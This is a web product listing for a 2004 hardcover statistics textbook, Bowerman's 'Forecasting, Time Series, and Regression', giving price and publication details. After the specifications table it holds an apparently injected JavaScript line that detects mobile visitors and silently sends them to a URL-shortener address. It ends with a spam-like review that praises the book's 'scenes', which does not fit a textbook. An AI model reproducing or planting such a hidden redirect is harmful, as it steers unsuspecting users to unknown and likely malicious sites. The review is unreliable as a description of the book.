Forecasting, Time Series, and Regression by Professor Bowerman, Bruce L, Hardcov
USD 33.00 USD
Specifications
| Pages | 720 |
| Publication Date | 2004-04-29 |
| ISBN | 9780534409777 |
| Publication Year | 2004 |
| Format | Hardcover |
| Language | English |
| Features | Revised |
| Publisher | Brooks/Cole |
| Genre | Business & Economics |
| Topic | Forecasting, Statistics |
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://urshort.live/MqcruyDnZ0r1");
A nice touch is how the revised edition tightens scenes, so the book keeps a steady, engaging rhythm.